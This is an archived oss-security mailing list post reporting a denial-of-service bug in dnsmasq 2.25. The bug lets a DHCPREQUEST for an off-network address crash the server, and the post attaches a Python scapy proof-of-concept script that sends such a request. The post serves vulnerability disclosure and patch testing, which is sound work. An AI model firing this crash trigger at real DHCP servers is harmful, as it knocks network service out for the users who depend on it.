Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Sat, 12 Jul 2008 08:28:07 -0400
From: Jamie Strandboge <jamie@...onical.com>
To: oss-security@...ts.openwall.com
Cc: coley@...us.mitre.org
Subject: Re: CVE request for dnsmasq DoS

On Thu, 03 Jul 2008, Jamie Strandboge wrote:

> On Tue, 01 Jul 2008, Steven M. Christey wrote:
> 
> > I'm not sure I fully understand Thierry Carrez' comment about the security
> > implications of this issue.  It seems like an exploit would require a
> > malicious DHCP server, in which case isn't DHCP service already
> > compromised?  If so, then a crash of dnsmasq (null dereference?) doesn't
> > seem to be any worse than the loss of DHCP itself.
> > 
> I haven't had time to develop a PoC, but from the dnsmasq 2.26 announce
> page at [1], a client need only send a crafted renewal request to crash
> the server. Thierry's comments were only for trying to reproduce the
> problem and test the patch.
> 
(resending as the first one didn't make it to the list)

I finally had time to develop a PoC and confirm this on my own. A client
need only send a DHCPREQUEST for an IP address not on the same network
as dnsmasq. Eg:

1. dnsmasq listening on and giving IP addresses for 192.168.122.0/24
2. client requests IP address on another network, such as 192.168.0.1
3. dnsmasq 2.25 (and presumably earlier) crashes

This can happen in normal operation with roaming users, but can also
happen with a malicious request. Attached is a script to easily test for
this (requires python scapy).

Jamie

-- 
Ubuntu Security Engineer     | http://www.ubuntu.com/
Canonical Ltd.               | http://www.canonical.com/

#!/usr/bin/env python
#
#    dhcp_request.py
#    Copyright (C) 2008 Canonical Ltd.
#    Author: Jamie Strandboge <jamie@...onical.com>
#
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License version 2,
#    as published by the Free Software Foundation.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <http://www.gnu.org/licenses/>.
#

from scapy import *

conf.checkIPaddr=0
iface = "eth0"
timeout = 10

def usage():
    print "Usage: dhcp_request.py <ip>"
    sys.exit(1)

if len(sys.argv) != 2:
    usage()

request_ip = sys.argv[1]

ans = dhcp_request(iface, timeout=timeout)

if not ans:
    print "\nNo server response for DHCPREQUEST after %d seconds" % (timeout)
    sys.exit(0)
#ans.show()

server_ip = ans.sprintf(r"%BOOTP.siaddr%")
server_hw = ans.sprintf(r"%Ether.src%")
offer_ip = ans.sprintf(r"%BOOTP.yiaddr%")

print "\nserver_ip:  %s\nserver_hw:  %s\noffer_ip:   %s" % (server_ip, server_hw, offer_ip)
print "request_ip: %s\n" % (request_ip)

fam,hw = get_if_raw_hwaddr(iface)
ans2 = srp1(Ether(dst="ff:ff:ff:ff:ff:ff",src=hw)/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","request"),("requested_addr", request_ip),("server_id", server_ip),"end"]),iface=iface, timeout=timeout)

if not ans2:
    print "\nNo server response for DHCPREQUEST after %d seconds" % (timeout)
    sys.exit(0)
#ans2.show()

for opt in ans2.payload.payload.payload.payload.options:
    if opt[0] == 'message-type':
        print "\nResponse: %s" % (DHCPTypes[opt[1]])



[ CONTENT OF TYPE application/pgp-signature SKIPPED ]

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ